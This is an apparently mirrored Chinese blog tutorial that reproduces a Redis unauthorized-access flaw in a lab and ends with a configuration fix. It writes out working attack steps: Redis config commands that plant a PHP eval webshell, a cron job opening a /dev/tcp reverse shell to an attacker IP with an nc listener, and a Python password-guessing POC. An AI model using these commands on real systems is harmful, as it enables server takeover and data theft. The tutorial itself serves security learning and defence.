zoukankan      html  css  js  c++  java
  • Redis未授权访问漏洞复现与利用

    漏洞简介

    Redis默认情况下,会绑定在0.0.0.0:6379,如果没有进行采用相关的策略,比如添加防火墙规则避免其他非信任来源ip访问等,这样将会将Redis服务暴露到公网上,如果在没有设置密码认证(一般为空)的情况下,会导致任意用户在可以访问目标服务器的情况下未授权访问Redis以及读取Redis的数据。攻击者在未授权访问Redis的情况下,利用Redis自身的提供的config命令,可以进行写文件操作,攻击者可以成功将自己的ssh公钥写入目标服务器的 /root/.ssh 文件夹的authotrized_keys 文件中,进而可以使用对应私钥直接使用ssh服务登录目标服务器。

    漏洞的产生条件有以下两点:

    • redis绑定在 0.0.0.0:6379,且没有进行添加防火墙规则避免其他非信任来源ip访问等相关安全策略,直接暴露在公网;
    • 没有设置密码认证(一般为空),可以免密码远程登录redis服务。

    漏洞危害

    • 攻击者无需认证访问到内部数据,可能导致敏感信息泄露,黑客也可以恶意执行flushall来清空所有数据;
    • 攻击者可通过EVAL执行lua代码,或通过数据备份功能往磁盘写入后门文件;
    • 如果Redis以root身份运行,黑客可以给root账户写入SSH公钥文件,直接通过SSH登录受害服务器

    漏洞环境搭建

    靶机环境搭建

    centos7搭建redis数据库服务
    注意

    • 配置redis服务环境变量
    cp -r /redis-4.0.6/src /usr/local/
    //启动redis-server和redis-cli不用每次进入安装目录(类似配置环境变量)
    
    • 复制/redis-4.0.6/redis.conf到/etc/
    • 配置/etc/redis.conf
    # bind 127.0.0.1
    protected-mode no
    

    攻击机环境搭建

    攻击机环境搭建

    redis常用命令

    redis-cli -h host -p port -a password//登陆
    ping //PONG返回响应是否连接成功
    echo //在命令行打印一些内容
    info //返回redis的相关信息
    config get dir/* //实时传储收到的请求
    flushall //删除所有数据库中的数据库
    

    redis常用命令

    漏洞复现

    上传webshell

    config set dir /var/www/html/
    config set dbfilename redis.php
    set webshell "<?php phpinfo(); ?>"
    //set webshell "<?php @eval($_POST['cmd']); ?>"//上传一句话php木马
    save
    



    nc反弹shell

    • 利用cron反弹shell
    redis-cli -h 192.168.0.104
    set xxx "
    
    */1 * * * * /bin/bash -i>&/dev/tcp/192.168.2.130/6666 0>&1
    
    "
    config set dir /var/spool/cron
    config set dbfilename root
    save
    

    • 攻击机利用nc监听6666端口
    nc -lvp 666
    

    利用"公私钥"认证获取root权限

    复现链接

    POC

    python2 redis未授权访问.py 192.168.2.147 6379
    

    #coding=utf-8
    #可用来测试是否存在未授权或弱口令的情况:
    #! /usr/bin/env python
    # _*_  coding:utf-8 _*_
    import socket
    import sys
    PASSWORD_DIC=['redis','root','oracle','password','p@aaw0rd','abc123!','123456','admin']
    def check(ip, port, timeout):
        try:
            socket.setdefaulttimeout(timeout)
            s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
            s.connect((ip, int(port)))
            s.send("INFO
    ")
            result = s.recv(1024)
            if "redis_version" in result:
                return u"未授权访问"
            elif "Authentication" in result:
                for pass_ in PASSWORD_DIC:
                    s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
                    s.connect((ip, int(port)))
                    s.send("AUTH %s
    " %(pass_))
                    result = s.recv(1024)
                    if '+OK' in result:
                        return u"存在弱口令,密码:%s" % (pass_)
        except Exception, e:
            pass
    if __name__ == '__main__':
        ip=sys.argv[1]
        port=sys.argv[2]
        print check(ip,port, timeout=10)
    

    漏洞修复

    1、将redis.conf改成如下配置

    bind 127.0.0.1
    protected-mode yes
    


    2、poc验证

    python2 redis未授权访问.py 192.168.2.147 6379
    

    参考链接

    CSDN-Redis未授权访问漏洞复现
    CSDN-Redis未授权访问漏洞利用总结
    CSDN-Redis下载及安装(windows版)
    CSDN-10.Redis未授权访问漏洞复现与利用
    cnblogs-10.Redis未授权访问漏洞复现与利用

    声明

    严禁读者利用以上介绍知识点对网站进行非法操作 , 本文仅用于技术交流和学习 , 如果您利用文章中介绍的知识对他人造成损失 , 后果由您自行承担 , 如果您不能同意该约定 , 请您务必不要阅读该文章 , 感谢您的配合 !

  • 相关阅读:
    RESTful API 设计指南
    Memcached的使用
    Flask快速入门
    5.数据结构--递归
    4.数据结构--链表
    3.数据结构--队列
    2.数据结构--栈
    lnmp1.5安装fileinfo扩展
    JavaScript.内置对象
    JavaScript.之引用类型
  • 原文地址:https://www.cnblogs.com/renhaoblog/p/13024638.html
Copyright © 2011-2022 走看看